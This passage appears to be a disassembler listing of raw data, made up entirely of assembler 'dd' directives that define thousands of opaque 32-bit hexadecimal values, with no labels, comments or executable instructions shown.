		dd 0B47EEFC8h, 723FFB2Dh, 4C229688h, 0AAC8532h,	0FF46FD02h
		dd 0DB692357h, 2CDA008Ch, 246AAE81h, 22C912E3h,	66BBEAD9h
		dd 82D2F401h, 0DE65EA62h, 723BED5Fh, 5217053h, 0BBF757FAh
		dd 68F2ABFEh, 78AEBFDFh, 0D496D392h, 0B3DA4549h, 0FEDE59D7h
		dd 638E033h, 0DBB40CD0h, 0A8F2727Dh, 0BBEC1D38h, 80B91A72h
		dd 21A46BB5h, 892A17EBh, 0DC88D12Ah, 99069E5Dh,	0A789521Bh
		dd 0FCD3300Fh, 0F6AF1375h, 0FB655DC5h, 1D89EDEEh, 0DBF7D205h
		dd 0C8D6B07Dh, 0B6D7E881h, 326B532Fh, 560C8648h, 0C96271B6h
		dd 5BAFF9C9h, 551532DCh, 0FC63AD7Dh, 465E1F8h, 0F94807ACh
		dd 8E9B06C5h, 90EA02ECh, 89A05FECh, 8DA378CBh, 0DD86A6A3h
		dd 0C8763B30h, 313CFF60h, 0D7124960h, 5A71555h,	0A4954851h
		dd 6A4414D7h, 0EE6E9E40h, 968D934h, 0BF799D79h,	25953D2h
		dd 0FFBB628Dh, 4AFB026h, 38BE61F0h, 0F2CAADBFh,	460C0010h
		dd 80E219E4h, 0C687AE4Dh, 53B95D00h, 87A50F03h,	5603D3C2h
		dd 0CF0E4FF1h, 9A30460Fh, 0E100FA25h, 0C65181F0h, 0A074C83Fh
		dd 0D6A093A5h, 0BEE01817h, 0CFC4CC0Bh, 502FACF9h, 71EE0457h
		dd 0FAB647E1h, 4A8ABBBEh, 5FF70CD6h, 0C37BFED3h, 20FCE82h
		dd 52D420D9h, 0FF1E03DEh, 8B8C5A39h, 2C0749FFh,	836981DAh
		dd 8D40C2ACh, 885AD9ECh, 203D27Dh, 4B0AC3CAh, 97216D63h
		dd 4FBA3D06h, 0E1BF7413h, 35FE43BBh, 0FF1EC879h, 18717195h
		dd 0C74B0AEEh, 0A5F215B9h, 69D918DFh, 0FEA3049Bh, 659D6263h
		dd 0ACC927EBh, 69C7641Bh, 0DA4461CCh, 0FC104E47h, 0FF7A2AE7h
		dd 0D703DC1Dh, 9207A809h, 0FA8F77EEh, 0DD2A0F93h, 5963092Eh
		dd 0C4D38892h, 595D165Bh, 0E678E082h, 0F8857E16h, 6537C4FEh
		dd 0D32550A8h, 8EF77629h, 0C1552B39h, 1699395Eh, 3173ABEEh
		dd 6C98EE0h, 0A31E4697h, 8E0F46Bh, 6B15F823h, 2BBED4A2h
		dd 0D2B513C5h, 2F658375h, 0C7E9B0F2h, 0D397A962h, 6F2845CDh
		dd 93521891h, 0AA099D42h, 0CA8619ECh, 0DC9C4588h, 4C34EFBEh
		dd 0F474E322h, 6A6833FBh, 0E24ADB09h, 0BE7B8A27h, 8313013Eh
		dd 166500EBh, 0E1585AABh, 89B0B230h, 58F34A8Ch,	2E3C022Bh
		dd 4B2D3F02h, 0F99A1DBBh, 728B7EEEh, 93C343B8h,	0FE413D2Eh
		dd 42C07DA8h, 51D11FC7h, 2AA04191h, 0C9A588E6h,	4F84A505h
		dd 0DA73BACAh, 17B035CDh, 5F7162F1h, 77559077h,	2227E545h
		dd 9BE4723Bh, 2D826D52h, 1AEE93FDh, 842E1B32h, 0E160AD8Fh
		dd 0F1915162h, 0CB50688Bh, 70A17181h, 0EBBC8DC5h, 0C9ED3682h
		dd 69FDEE7Eh, 0EC015CB3h, 0C47AC382h, 0B5C13178h, 33BD659Bh
		dd 9FCB9F8h, 9A49D26Fh,	0BCB967DBh, 0B864EA06h,	0D3AF0123h
		dd 0F6179902h, 148AA821h, 0BE63622h, 9F1108C7h,	0FF8E49D4h
		dd 9EA5CD7h, 9AABC06Dh,	9CC23F68h, 5B63A2F1h, 27B6AF0Ah
		dd 9F6DDC96h, 4F9C490Ah, 0C85BF0A4h, 3BABA83Fh,	999C55C1h
		dd 0D74CD558h, 2CC7AB50h, 0A4711085h, 0A9E16C4Dh, 21FBE272h
		dd 0C846F78Ah, 0BB7AED2Fh, 0B29CB97Eh, 0A1BAAE87h, 992A614Eh
		dd 86978DB0h, 193F7556h, 1C5E9FF6h, 26202954h, 89C28FB2h
		dd 0E39F468Ch, 8C9E3ABh, 29F502F9h, 0B039FD78h,	86532E3h
		dd 5C8197DEh, 49FC9B99h, 69172EEh, 3D3368E8h, 0C354E9A3h
		dd 0EE95264Bh, 0BBE74F16h, 2DB6F2A3h, 2634791Ah, 208B1E7Ch
		dd 377781Ah, 49BE2730h,	0CB38BD98h, 0ECBBF250h,	0F5164B0Ch
		dd 17DF53BEh, 5C8F2044h, 0A1234084h, 6387140Ch,	913914C4h
		dd 0BD87B550h, 2E010DE7h, 0AA0FCC41h, 96DE7E13h, 0FD470BEBh
		dd 0B223E511h, 2439FF89h, 6919D5A0h, 0CE383EC7h, 47A1B263h
		dd 0A4B16995h, 0CBFA72EBh, 0F409A6C1h, 0E8C13775h, 0B708ED4Dh
		dd 3F900DABh, 3F1DBAE2h, 0BCCA5703h, 729761A9h,	0B62C13D7h
		dd 9F20F903h, 5B95C0D1h, 0CF8AE35Ah, 71BD44Ch, 8E02B154h
		dd 81530A2Fh, 3B43C0B8h, 730FBDAFh, 6DCF0D75h, 0F7FE66FCh
		dd 12C98689h, 0E250909h, 98AF2AADh, 7D069DE7h, 0F79F1427h
		dd 9B4F865Ah, 3DADC1Ch,	6F7E1A3Dh, 3E206265h, 0A14CD48Bh
		dd 0F1092ADBh, 0D83BE525h, 0BEDEF318h, 0DD0ABB16h, 0E857FC57h
		dd 0ADDE8FFCh, 0B64B4935h, 69D6EC1Dh, 99326308h, 0ABE4CE60h
		dd 0E2C4C283h, 5D4336D7h, 4182711Bh, 5BF4AB0Eh,	3B75F8D9h
		dd 0CD1A8B7Ah, 82A9E426h, 0AC0381F6h, 0A08495E1h, 379AE007h
		dd 298E6865h, 3C817582h, 0C51583E0h, 818EAF28h,	83CA44ACh
		dd 0C24BA175h, 1845845Dh, 0E3AC46D7h, 7E258917h, 6F43EA45h
		dd 0C88CA071h, 6858AD64h, 7E551DACh, 8A3B80E9h,	0A77A1CD5h
		dd 84D46979h, 0FEBE8D27h, 9BFC5CA5h, 0DFD438FCh, 0DF11D136h
		dd 910C8DD0h, 3B24EED9h, 39D5CF15h, 751CCCF4h, 83E44BC0h
		dd 0A015CC29h, 9738A769h, 17FA24B0h, 1135D976h,	97CC621Bh
		dd 59B4A983h, 0B9BFD793h, 7C929354h, 6728C140h,	0C5FEEB38h
		dd 42656B0Dh, 222EB6FDh, 149786DDh, 1BE67D51h, 6B10CB7Ah
		dd 0F05D46A2h, 0C7DBE0B3h, 78C980DBh, 0B82520A8h, 9F165F5Fh
		dd 5025F471h, 0B6CE5207h, 713C0B3Bh, 0CD77EE94h, 0EB32FF69h
		dd 68F1AECFh, 8D0D22A1h, 0C7FF9FA0h, 0F0CC61EAh, 8394ED2Dh
		dd 0C85086DCh, 6ED9915Dh, 5CC82566h, 7310F61h, 8FBD7523h
		dd 6B16218Ah, 15E6CCC6h, 0EB2518E6h, 0AC371B32h, 79129A52h
		dd 19A1A742h, 0E281058Ah, 0A496D036h, 0B8CC300Fh, 6C639791h
		dd 0EAE4B8C8h, 9BDAE85Fh, 0EF70118Ch, 99F41DBBh, 0EE21BD42h
		dd 60FD2525h, 47C0F134h, 0F16FD6B5h, 0D5A5A617h, 0C6EA815Eh
		dd 0E16CB2D8h, 731CE95Dh, 0C61BD641h, 83015CC6h, 3A4B9586h
		dd 8189039Eh, 0E378EBB0h, 9E17FC69h, 0A82FA79Fh, 49A10873h
		dd 47D0C2A6h, 8AC11BD8h, 1C29F92h, 3058051h, 3E8199D0h
		dd 0FA6005A5h, 2CCFD376h, 0F62A72EBh, 95523B33h, 0F9D889FEh
		dd 13337FC3h, 3715CA80h, 7D98F586h, 0BE60AC6Fh,	1B173347h
		dd 0E592A7D2h, 5C834472h, 8DC5123h, 5C033270h, 56B4220h
		dd 0AD545AB7h, 6EBD4B47h, 0B46C3EDEh, 4698AEB2h, 628976DFh
		dd 0E73A49B8h, 3D0D5D06h, 0DFC4A60Eh, 2D8EE698h, 3A91F4FEh
		dd 0A5DDD7E1h, 0B3799F33h, 4990407Eh, 7AB7814Fh, 0E4DCE74h
		dd 1BC5C442h, 2AF9518Dh, 0C4313EF4h, 0BE9635F3h, 0D775A9C4h
		dd 2985A11Fh, 0EE739CEh, 902675Bh, 0D60F2F78h, 0EAC83F0Fh
		dd 3973FE8Ch, 1744C2A0h, 0C4F27072h, 0A6C77F8Eh, 297CA290h
		dd 0B82F1D67h, 8015552Ch, 0AA8ED94Dh, 0E4580D4Bh, 2263DBD1h
		dd 0E6145974h, 221265D0h, 92802DA2h, 9ECEE2A1h,	0EA64AACBh
		dd 8456AB6Ah, 0CC9AC2A1h, 8B1CC269h, 49BD7D1Ch,	0EAD1DD9Fh
		dd 8C4588FEh, 0F1646DF0h, 0B066B435h, 947096ACh, 0BA558017h
		dd 0F951677Fh, 0E3A1DE92h, 0B2B617Dh, 2FDDB768h, 3FC694B9h
		dd 8FC90A59h, 35AF3461h
		dd 37B47FE4h, 250B5EA1h, 45644E71h, 6B822040h, 3A869F7Dh
		dd 95D0FE00h, 0A48CA4AAh, 1B4ED732h, 43E1C015h,	370233B5h
		dd 0F8360AFFh, 4795430h, 0EE40DB46h, 0C5012CD5h, 0B424CA1Bh
		dd 9B933E9Eh, 0A0191436h, 27B8E24h, 0B4888DCDh,	7D583A8h
		dd 2FC5F332h, 94174604h, 0E04E4893h, 0DF8C7EC5h, 0B429E6A9h
		dd 3054BD54h, 0D5DB8BB4h, 9B40BA7Ah, 8B313A8Eh,	7236DCB7h
		dd 54BCCA14h, 0EB34759h, 8D43517Dh, 9C5BA4D4h, 711C4EFCh
		dd 0EDEAD9FCh, 0C6310D90h, 0D5CA8CECh, 6367626Bh, 54E8A95Eh
		dd 912F651Ah, 9A9187E4h, 56F43FEBh, 3B952807h, 1B133E5Ah
		dd 229994B6h, 0D0D5C62Eh, 457F7EA8h, 0FDECAC65h, 3F7E2288h
		dd 9D97C672h, 45B5267Fh, 6927273Ch, 3B859078h, 0EBF9A1E9h
		dd 0D98EBFA4h, 0C59362C6h, 7D3F6B2h, 0D1AA27A8h, 98592CEAh
		dd 0D49B816Dh, 43300D78h, 0D3805F2Dh, 0C7487E22h, 6663A20Dh
		dd 0E3D9E6E6h, 4AA7014Fh, 523E102h, 0B3622C8h, 1B72E4D1h
		dd 533CF01h, 0FECC67E4h, 0E30371C9h, 0C60FB911h, 0C305CAAFh
		dd 6A59D4F6h, 7C9CC97Dh, 80ED3746h, 0E46078B4h,	0E0708DC9h
		dd 87091CFAh, 687D9B00h, 0A8DF305Fh, 0B5BBEE67h, 9D61C3A0h
		dd 0A3936677h, 0EA82D2E6h, 0A0E3CC4Bh, 0BAEDC3A5h, 0CD24260Dh
		dd 0B7A38231h, 95B51822h, 51B6C98h, 8110F9CAh, 667C300Ch
		dd 324A9739h, 1B251013h, 234F7EA6h, 0CED65C3Ah,	80A5BF4Ah
		dd 0E9D547E5h, 69DF06Ah, 0D23245E9h, 0EECF230Ch, 0EA543F2Eh
		dd 139ADC01h, 6354DF5h,	9440835Eh, 8B545841h, 0FD7EC1DAh
		dd 0AED112DFh, 0C9132EA3h, 543EE493h, 1BED2A94h, 5997B939h
		dd 0DB92E7DAh, 0F721E6CAh, 7F229D1Fh, 0BDBA73E2h, 148D8E61h
		dd 42EE731Bh, 0DA8C3048h, 0AE5347F8h, 25EFD41Ch, 9C0EFAE3h
		dd 5AC293D3h, 3DF20ACh,	0F5B816A7h, 0A949DDFDh,	0D1662DAEh
		dd 7BCE585Ch, 452CD781h, 0C154E5Bh, 3CBE736Dh, 0D2AB970h
		dd 3E174166h, 6CCADFA8h, 73FFA066h, 449B1390h, 0BAEE9AEBh
		dd 0B4BD70F8h, 7D0BF97Ch, 284D87CAh, 6E3A85ACh,	4210E9C7h
		dd 0D012EC98h, 52DB5FC7h, 0F0FDB879h, 0F95FAA06h, 0DA218009h
		dd 9A0CB856h, 10C4D4A9h, 0A0B55BD9h, 0EBE182DBh, 0F4FBB564h
		dd 1217993Ch, 8994AA77h, 0ED46F700h, 0FB62262Fh, 0F855A07Ah
		dd 2A122091h, 4177CC97h, 7A1B7647h, 6C7EDF0h, 8FAD7AD3h
		dd 0E71C8B4Eh, 0CF305C82h, 0DBD53BCEh, 0BA74F414h, 0E58D4687h
		dd 0FCC84045h, 0D3CDD13Eh, 4A8C957Dh, 3263A08Dh, 0F2A476FFh
		dd 146123ECh, 8E43D2E5h, 3E280D6Fh, 79B47A34h, 204269DAh
		dd 2B25EDB9h, 0D2A49551h, 0B92DB530h, 82BCB0F1h, 9E060EDAh
		dd 49C85238h, 6F754298h, 0D5890806h, 0D23BAE77h, 0BC4B51F9h
		dd 0ADF0E945h, 0DD0F56ACh, 0B1A6C06h, 0A25D2E51h, 887DFCDEh
		dd 92C09528h, 0C779EA77h, 87DDE41h, 8E717B9Ah, 0FCE08562h
		dd 5F5FCE24h, 240D9E25h, 0FA646FFFh, 12A02E6Eh,	0C19DB273h
		dd 31F97A5h, 8B4DB1F7h,	37E01545h, 0C2EE73C8h, 34FFECBDh
		dd 85D4A363h, 5688102Dh, 8A6261B0h, 84F6933Ah, 4F25CC1Dh
		dd 975E8E56h, 0A16469F5h, 0A7C2211Eh, 0A7A4B9D1h, 41641015h
		dd 68557030h, 32AC47Fh,	0F0811D3Ch, 522285CBh, 4A6CFBB7h
		dd 311A5F76h, 1304CDD8h, 0EEE7A6DAh, 2367BF22h,	284ABB80h
		dd 5DED0BC1h, 5A39FC78h, 3BD36BFDh, 52E558A6h, 0D43409D6h
		dd 249D3A67h, 77E20756h, 1FE0CFEh, 1542802Fh, 62A18B38h
		dd 99A868B7h, 26F57126h, 0FE91F77Eh, 0EBDC9899h, 8661EADBh
		dd 91B82A3Ch, 757E3FCFh, 0A52B72DAh, 0AED992BFh, 7AC44526h
		dd 27D562A3h, 30E53EE3h, 7ECC64F1h, 0D778AFF6h,	3C0997C4h
		dd 7D735406h, 0EB1451CDh, 67BE9373h, 6B044768h,	36070F85h
		dd 7AD471BAh, 28D15975h, 30620E22h, 0EA7AF002h,	1E612887h
		dd 28E5AF5Dh, 13FF1905h, 0FA875553h, 6E21BCB3h,	3840F982h
		dd 99882C41h, 5F801F98h, 3381711Ah, 52E675CCh, 3A37A4B9h
		dd 0C776EF49h, 8E4FED6Ch, 0FCB3195h, 27754A63h,	826F833Dh
		dd 906C1BF9h, 0A1995903h, 691ED757h, 7D688610h,	9E67F99Ah
		dd 4A633E0Eh, 0B355941Bh, 7D835922h, 9819691Ah,	0A53050DBh
		dd 60CB731Fh, 0B55C0AB4h, 4D6353F8h, 7227F36Eh,	79D5780Ch
		dd 1E78F9DFh, 411EDF27h, 0B96285FCh, 856B1FCDh,	0D25F282Dh
		dd 0E4826E2Dh, 876E7C79h, 0BFB03DCCh, 1AA57DB9h, 66612F70h
		dd 9FD07DD4h, 1A57469Eh, 0BFECBB4Dh, 0F25775B8h, 2BDC892Ch
		dd 0F1527F3Ch, 0D131095h, 13ADF85h, 0C1CC58CCh,	362F978Fh
		dd 0DB866353h, 0C958426Bh, 37801168h, 67F09D76h, 79029720h
		dd 0A3D7CE20h, 6B22A27Fh, 0CEF582E3h, 1C673A18h, 1122AFB5h
		dd 2D64AEC7h, 0B223A778h, 0EE5E3FA1h, 0A77F3459h, 8233E247h
		dd 329980F3h, 17CEC752h, 6895CD96h, 0EF58252Eh,	9F42CC2Dh
		dd 7E3C8D89h, 27A0D0E7h, 0C9C6E0ADh, 0FBA3FBB4h, 2639CD66h
		dd 0C58C21F8h, 857C5972h, 5C866FBCh, 6A3BE435h,	14297EC1h
		dd 0CF359A7Bh, 0B1484CCCh, 5D85E631h, 11E6FF8Ch, 0B6E4CA74h
		dd 5B33E3CBh, 0D9742973h, 0F7BE1AE4h, 69DC2010h, 23D607E3h
		dd 503C4502h, 0B082D93Dh, 0CBA4818Dh, 0AF837F68h, 49848A89h
		dd 34C2FEADh, 8E52829Dh, 92BE7CC5h, 0A4D94A23h,	0BBEC7023h
		dd 0E6AFA85Ah, 0DE298A33h, 35866B42h, 0E6943514h, 0A679FBA3h
		dd 899EDF9Eh, 0F133B471h, 306DFD30h, 6DBC60C1h,	6C8EE83Dh
		dd 98424687h, 8F945E35h, 0B801096Eh, 233E4EF2h,	0EB48C576h
		dd 7EA74FE2h, 6F1C285h,	4B5FBFF4h, 89138A86h, 0EB2BC955h
		dd 0CDA86DD5h, 0C079EF08h, 89BAB66Bh, 0C9B23FA8h, 4C08F4EDh
		dd 97988D4Dh, 452FAADEh, 0D726D41Fh, 764F25C6h,	36F694E5h
		dd 572BF8EEh, 0E4253FC0h, 7FF571BAh, 62378D7Eh,	0CB76B8BBh
		dd 60B55FB3h, 0AD46DA2Bh, 8D5ED9D4h, 0BD0F3F2Ch, 3F35A108h
		dd 0C3A4C156h, 77C39178h, 3B64711Ah, 6F0B565Fh,	850FE3C8h
		dd 1C19D572h, 19F60A63h, 77E6DE17h, 548DE233h, 5E806DB3h
		dd 6FF96E03h, 9E9EA692h, 0E5A2152Eh, 968D4898h,	7A4F94C4h
		dd 0B085FC91h, 0AEC7BEEEh, 0AAE4D191h, 15837396h, 77BFF5A0h
		dd 9F1FF9E2h, 0B72D14DAh, 0EE86C0B2h, 9BDBE72Eh, 92B36182h
		dd 0A6B75FA9h, 0D3E0C2ABh, 68EFC512h, 33C06D98h, 0E996004h
		dd 2136C3D2h, 925372D8h, 0B44561DEh, 0E669830Ah, 0B2D3915Eh
		dd 61012E77h, 9527D2CCh, 0D25BFD08h, 253E472Dh,	508549F2h
		dd 56E0A911h, 0D9B901E0h, 0B1E0995Ch, 0A5F55802h, 3D7EAFE0h
		dd 0FE75F6F3h, 0EEA32ACFh, 59838EA8h, 4923FE54h, 8BD11C60h
		dd 0E43009D2h, 0E05AEB2Eh, 5F0CB61Bh, 0F0829A97h, 483A877Ch
		dd 0E2B48D21h, 2004F12Ch, 0EB6E34AAh, 0D5B17B78h, 7A8215Eh
		dd 27DD1EE9h, 0BE60219Eh, 0AA1B2071h, 0E6606109h, 72B9AD2Dh
		dd 312350C2h, 0C331BBA3h, 2D3EB38h, 0BE79E2C7h,	0D2BC75DCh
		dd 0C1DD8B63h, 70C3B56Ah, 73CAC6F4h, 758972h, 0AB89A3B3h
		dd 30AF234Ch, 51F45E24h, 7DE24DAFh, 0A8A7944Dh,	9E1BEF29h
		dd 53549A7Eh, 0D69850E3h, 0D2FFCAF4h, 7512EF7Eh, 0BEE16263h
		dd 1E130871h, 0A47E130Eh, 0E4F839Bh, 4DE831C2h,	3DEA336h
		dd 0DD4FF128h, 7EAEFB84h, 2B77F71Eh, 0A5A4BED5h, 1DF38E0h
		dd 73B13E0Eh, 45D13FDh,	3AED062Bh, 0F91FB001h, 12831847h
		dd 4F1BB015h, 6A0E4F0Eh, 4C3E5CEAh, 274D3976h, 0A83CC461h
		dd 0E71A9CC9h, 7B855DF6h
		dd 0CF0A70F2h, 0F93E8DA6h, 0B0A9E459h, 6CC3BCD9h, 0B7DC6923h
		dd 0FC99761Dh, 5C5D8E33h, 831E8C97h, 0C142F64h,	0B5020EE8h
		dd 571B2459h, 7504E88Ch, 151FAA2Ch, 0D1CA3358h,	42296D22h
		dd 800E79F0h, 0AB885623h, 0B667376Ch, 0E9B3CAE2h, 5C319F40h
		dd 0C2436C93h, 93B077D2h, 0D54A33C3h, 0FC1D047Bh, 5E0B9471h
		dd 0A0595CD6h, 74FEB2FCh, 6A6BC0D5h, 0B4E1E583h, 529BA3FAh
		dd 8C5FBFA3h, 0A52C383Eh, 8F110FCBh, 9A12DAD2h,	132AF4D9h
		dd 5EA98C02h, 60728F4h,	5616DB5Bh, 0CB8966B5h, 0D05226Bh
		dd 0DF57F0C5h, 0A43DFA6Bh, 66DC23DAh, 551C1BB6h, 160B111Eh
		dd 0C87DB680h, 0B2BBEF06h, 5FA8714Bh, 545229D6h, 0F30F2D7Dh
		dd 9940D47Eh, 0A6462FC6h, 91C60CD9h, 942D0143h,	2611E7DEh
		dd 9253EE9Eh, 5416229Eh, 0F03C60B5h, 7D59EF00h,	7025A2BEh
		dd 1ED71F2Ah, 9A3BB63Fh, 0C75CCB67h, 0B52CCF9Fh, 9A05807Ch
		dd 76B00DA7h, 0C0F27491h, 1C193E6Fh, 0AC20DC0h,	2272B597h
		dd 0A56D2E3Eh, 6E8E860h, 61B380D5h, 0C345EEA8h,	0CC45DEF1h
		dd 80C700F2h, 72DCF5BFh, 0C5101C81h, 1A710B00h,	38607A3Bh
		dd 0BD493965h, 7151895Eh, 3BF915FAh, 36350F5h, 3CC3F270h
		dd 5813C24Dh, 24BDD4EDh, 0E88D791Fh, 981B4A67h,	7F61EC1h
		dd 61CAFB5Ch, 4DE0B15Bh, 0CE89931Ch, 4385A4B2h,	63B948Dh
		dd 68D15409h, 0B58832D7h, 122F9360h, 0F6BBA4B5h, 51C1B00Dh
		dd 0DF0738E1h, 0C58C2412h, 69F06E62h, 8AC22EA3h, 0B6973183h
		dd 1263FEB2h, 8B0784E5h, 0A434594Bh, 6ABE0C3Ah,	0A2216383h
		dd 9CB8C7ECh, 403DC430h, 0C96BC865h, 0DEC8253Eh, 0FA3C35DCh
		dd 553ED83Ah, 0DC645C1Dh, 4904BF4Ah, 0AEA070C6h, 8C1B8D69h
		dd 5258FE6Dh, 14C3CD50h, 0AAC3F2D7h, 0D0B50250h, 56FB3F0Bh
		dd 3ADC16CEh, 0CA32B45h, 98A947FDh, 0C34CC08Eh,	0C3ED43F2h
		dd 30537AAh, 4D859BCFh,	671A2FB3h, 498E60BAh, 415A01ECh
		dd 85B5B54Ah, 68BA05C7h, 0F3F4D605h, 1D25856Fh,	2DEA92ECh
		dd 0BB380B4Ch, 0B8C35266h, 7DC5AAF2h, 323759AAh, 69064F63h
		dd 0BFBADE54h, 0EEF68F93h, 0A3A027A7h, 0CACF5611h, 59FFC2CAh
		dd 161754C4h, 53243E7Dh, 7EB72EE3h, 2E865F56h, 0D30EBDCDh
		dd 0FCA6D444h, 6993E39Dh, 0E4E10B26h, 609EDA28h, 0D199C312h
		dd 5E280D30h, 0ABA9B94Ch, 7F97AAFh, 0B50EA8E0h,	671494A3h
		dd 0F1CA4A4Dh, 0E29B132Fh, 95B9EECBh, 8E13C99Eh, 7C0420F1h
		dd 0C6BE73CEh, 0E21EE46Ch, 405FC774h, 67D84539h, 0DFF090B6h
		dd 0E7CB056Fh, 7DE4A123h, 0ADA8D2A0h, 219E1E64h, 0BC85A53Ch
		dd 9F9F84B4h, 17835300h, 0BE4A7FB4h, 5A83E036h,	0CBEA932Eh
		dd 1505A212h, 978320F9h, 1D8C4745h, 2CFC5210h, 0D78F5098h
		dd 22A6BB07h, 139BCC8h,	43FEF56Ah, 4FCA07D6h, 9791CB31h
		dd 1D598F36h, 0E473FB3Ah, 0A3D2669h, 0A38FB9A1h, 0A5A7901Dh
		dd 0EB74CC22h, 0DFA36B23h, 0A7820014h, 0CD6B28E9h, 126D5EA9h
		dd 0BEA58BF2h, 0FFB853B6h, 0C1955077h, 3D046519h, 0F764A766h
		dd 189A9313h, 16E792F3h, 4B35B915h, 98753FF6h, 0F5456A07h
		dd 7BB9BE9Fh, 2A1AA4A9h, 1DD57E06h, 99183BCh, 0E75DA5A9h
		dd 0FC23E546h, 6E03E2FEh, 0F7E89C95h, 44A2D79h,	0E6A0B21h
		dd 3218D198h, 0C4F2F0Eh, 0BF7FA118h, 884D3FD0h,	827BC52Ah
		dd 0BA977035h, 0EC8D9772h, 57C35803h, 35081AA9h, 245D28E4h
		dd 0C1382ACEh, 859E5F48h, 0AB94B97Ch, 0BBF509F6h, 8808F7ABh
		dd 1C6FB02Dh, 0CB6805C1h, 239670DDh, 0D2CB0AD0h, 0A5A9451Bh
		dd 29D9A34Ch, 0E9BA7FB4h, 37C56458h, 0E41FFE02h, 1CC2982Eh
		dd 5614FDC5h, 867FA2BBh, 5BB835Dh, 0ACE37A62h, 185A2B4Fh
		dd 0E354D818h, 14D1F972h, 29BA1313h, 5916B748h,	0EC1E1AAFh
		dd 8134CB8Eh, 85215F18h, 0E252CCC8h, 5391E1D8h,	0AC34868Ch
		dd 8FD5AD75h, 0E28D911h, 2F0A3936h, 468ADB64h, 0D49F1877h
		dd 8A71B035h, 95FA626Eh, 5BFC05FBh, 35D6DD58h, 0D56A1BBCh
		dd 0BA7A8B9Bh, 1B7B3108h, 0EA39FBB2h, 0AAE3BA12h, 74B0BFF9h
		dd 0DE733667h, 0ED44FE73h, 0C169C841h, 9EB14004h, 4B588081h
		dd 0C54B45D4h, 0E836CD05h, 44F22F21h, 9C7E2550h, 6F588958h
		dd 908F2B34h, 994275F4h, 917AB750h, 0DBA08371h,	516B5C02h
		dd 1685F353h, 0E640B716h, 1B0CD79Dh, 0E8855899h, 840314D3h
		dd 0A978B053h, 0C607CFE8h, 45079835h, 37A8698Bh, 0AB3332D8h
		dd 2BE2AFF0h, 8C8E8F19h, 4A178469h, 8F65ED31h, 0B4F174BFh
		dd 378831FBh, 5495B64Bh, 595E630Ah, 0F2833E68h,	0D1FAAF06h
		dd 0B14677F7h, 76EA8DA1h, 4F8225CBh, 24F44DFAh,	0C9E3EC35h
		dd 0A5124204h, 0ADC60E0Fh, 0F8F2B960h, 276E3C5Dh, 0CCD4F188h
		dd 0DF266E28h, 0B1AFC421h, 0B3A2FCFEh, 74191376h, 606B0CEBh
		dd 0ADFADC8h, 2F6B3B4Ah, 5C2CCFB0h, 60707DC7h, 0F1FF7DE3h
		dd 0F50EA7C8h, 0E7D04E0Fh, 644B8162h, 16E1495Ch, 1D1AC576h
		dd 98CA9740h, 77D02F47h, 0B06494CBh, 0F4078D9h,	0F19F42B0h
		dd 0C1E4CFF2h, 0EB68D647h, 0AFC7BA74h, 5A9F567Bh, 0DD19E297h
		dd 5B70FEFFh, 0BE2AA7F1h, 0FE22FBD2h, 0B4AEAF12h, 9218B367h
		dd 0DC907E52h, 6E912383h, 35103D93h, 40207049h,	0D60F349Bh
		dd 44040621h, 0B19FFEDFh, 0F144BE64h, 647DB578h, 126B239Dh
		dd 0F48D7CCAh, 0CE2D4AD7h, 9EA69174h, 0F46F88CEh, 0A3212CD8h
		dd 17131D8h, 36ED5049h,	73BC637Fh, 7204D405h, 0AE70409h
		dd 16A747DAh, 9086EE94h, 0EC87A4F9h, 0E2B2709h,	28C6412Ah
		dd 59BE588Dh, 0CE5FBAD2h, 0CAE935D1h, 0CE9BFE07h, 0E58D56CEh
		dd 848ECFFAh, 0FC403FFFh, 0B0C7C233h, 4323E3E9h, 74C6F94Ah
		dd 8094BEF7h, 0C4220928h, 22BEF61Fh, 138A64Fh, 6A006B23h
		dd 0FAB71623h, 55E80945h, 5DD5A183h, 0CF1AE5A1h, 977B991Bh
		dd 51D8A1D9h, 0F62134DDh, 0B049BA1Ah, 53A33A7Fh, 846D0667h
		dd 783B72DFh, 0E8625A83h, 0C36F7CF4h, 83A1E53Fh, 0DA5D2D28h
		dd 8F32B392h, 102EBDABh, 0E3D7977Eh, 70FBA2F7h,	4FFD00EDh
		dd 0FF7F97BFh, 780AFC14h, 0EB1E0AAEh, 3015C618h, 0E133AB6Ah
		dd 45A3EAA4h, 211B4ADEh, 0CE11F270h, 78F7ADC4h,	34FEA2ABh
		dd 1FDA7413h, 8CCFC617h, 291EAEE0h, 222745DDh, 0F39E5829h
		dd 0EFB2C461h, 0F21FBCF3h, 31E230CEh, 943B5B54h, 7C46EF3Fh
		dd 0EFE5FA6h, 5B994FEAh, 3DB087A8h, 8088FD43h, 0D0FFBF37h
		dd 8ADA8B85h, 7530DD03h, 0E05CC639h, 2ADA868h, 0BD0ABF93h
		dd 0ED611080h, 0D64E9F21h, 0E3895F97h, 2F098817h, 0DA7C14E9h
		dd 36E14E13h, 2E17D663h, 17FB70EBh, 71BDA50Ch, 53FA8316h
		dd 43C4B7A3h, 34E8E3B8h, 121E30D1h, 0CF65C81Ch,	2E9B693Fh
		dd 71F14D08h, 904495C4h, 5EF1B9C5h, 88855CC0h, 0A5928CFBh
		dd 0E9F45750h, 0FDB327D3h, 87DC4A4Fh, 0C9DC695Fh, 10A2064Fh
		dd 60252C8Ch, 0F1DC2DCDh, 24368B52h, 1800AAEAh,	0A57CD81Ch
		dd 523E4658h, 516873F2h, 8CC25D8Ah, 791D97B0h, 4EAB6339h
		dd 379830Dh, 0A62CC4D3h, 1D7A828Eh, 0CD6D02D5h,	20F89955h
		dd 0A46EC6AAh, 0C455B22Ah, 11782D5Ch, 0A79471FBh, 3AE45CCEh
		dd 2BE376DEh, 130EB3D2h, 0BB9E23B2h, 4AD2C81h, 8690B826h
		dd 64EB517Dh, 21925532h, 124F1C68h, 0C233AD7Dh,	0AB8496E8h
		dd 94495384h, 0D524C18Eh, 8B019B54h, 6813984Fh,	0F217332Ch
		dd 0AFD2B03Fh, 48090FEDh, 346E2377h, 0DBA27472h, 8764F889h
		dd 6550F505h, 0AA5D3ED9h
		dd 4847FCC5h, 0E8CDCA97h, 0ADB1E92h, 80451E85h,	0E2178FA1h
		dd 5136DB4h, 35E4BD89h,	1F81C296h, 71147437h, 9EC09C19h
		dd 0B140E2B1h, 618421F0h, 7EEC4ADDh, 0FACF31C4h, 0C64DF00Fh
		dd 0D6A7DC44h, 0CEE4758Ah, 62798CF9h, 0AA0EA062h, 140245DEh
		dd 75AC71EDh, 2F72FF43h, 53EC9A87h, 8A975A1Fh, 89350055h
		dd 63F6F9C8h, 0A0088293h, 0ED5714BFh, 820F2A15h, 0E94A7BF2h
